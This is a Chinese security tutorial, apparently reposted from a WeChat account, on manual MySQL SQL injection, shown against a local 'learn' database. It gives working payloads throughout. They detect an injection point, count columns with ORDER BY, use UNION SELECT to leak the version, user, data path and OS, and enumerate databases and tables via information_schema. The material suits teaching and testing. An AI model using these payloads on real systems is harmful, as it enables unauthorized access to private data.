mysql手工注入

  • A+
所属分类:安全文章

mysql手工注入

SQL基础

1.1 什么是sql?

SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大的关系数据库语言,但其功能并不仅仅是查询。

1.2 mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。来源于百度百科

SQL注入基础

2.1 什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说,SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)来插入或修改后台SQL语句达到代码执行从而进行攻击的技术。

2.2 SQL注入攻击产生的原因

出现SQL注入攻击漏洞的主要原因是:许多网页程序员在编写代码的时候,没有对用户输入数据的合法性进行严格的判断和过滤,从而导致应用程序存在该漏洞。

2.3 mysql注入攻击的方法

对于mysql注入常用的方法主要是以下两种:
(1)手工注入。
(2)使用工具注入

2.4 mysql手工注入原理

在mysql手工注入中主要是利用mysql自带的information_schema数据库,information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。简单点说,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema数据库里面。

mysql手工注入详解

3.1 基本环境介绍

涉及数据库:learn,涉及表:users。

mysql手工注入

3.2 判断注入点

and 1=1(正常显示), and 1=2(非正常显示) ,但不限于此。也可以是3>1(正常显示),3>5(非正常显示)等。

3.2.1判断uid是否存在注入点

本身查询语句为:SELECT uid,username FROM users WHERE uid=1

mysql手工注入

3.2.2 判断原理

SELECT uid,username FROM users WHERE uid=1 and 1=1

mysql手工注入

SELECT uid,username FROM users WHERE uid=1 and 1=2

mysql手工注入

3.3 查字段数

3.3.1 order by排序

order by 主要是用于排序,用法基本为:order by <列名> [ASC | DESC]

列名可以是select后面的列名,也可以是数字,代表第一列或第几列!查询字段数也是根据order by排序的列名可以是数字来进行判断的。

3.3.2 查当前查询中的字段数

本身查询语句:SELECT uid,username,phone FROM users WHERE uid=1

mysql手工注入

查当前字段数目(列数):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

mysql手工注入

因为当前页面查询的语句中只查询三个字段,所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数,前一个正常,后一个异常,那么该正常的就是当前查询中的列数。

3.4 查询字段在页面中的显示位置

联合查询数据显示位置,不成立条件+union select(如果前面是成立的话页面中会看不到想要的信息),也可以是 前面条件不变+union select + limit m,1。(如果看到页面中信息有union select查询中的数字时,那么也是可以看到字段显示在页面中的位置,但是如果查询信息过多的话则不适用,因此推荐使用前面的那种方式)。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

mysql手工注入

3.5 查询基本信息

查询基本信息主要是利用数据库中的内置函数来获取信息。
1. version()——MySQL版本
2. user()——用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

mysql手工注入

另外,我们可以使用字符串连接函数一次性查询多条信息:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B是分隔符, ; 的十六进制!

mysql手工注入

高级查数据库:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9,1是从第9个数据库开始查询一条记录,使用这个可以逐个查询数据库中有哪些数据库。

mysql手工注入

只运行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

mysql手工注入

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

mysql手工注入

这里需要将数据库名转化为十六进制

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

只运行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM  information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

更多飓风网络安全动态请关注:

mysql手工注入


本文始发于微信公众号(飓风网络安全):mysql手工注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: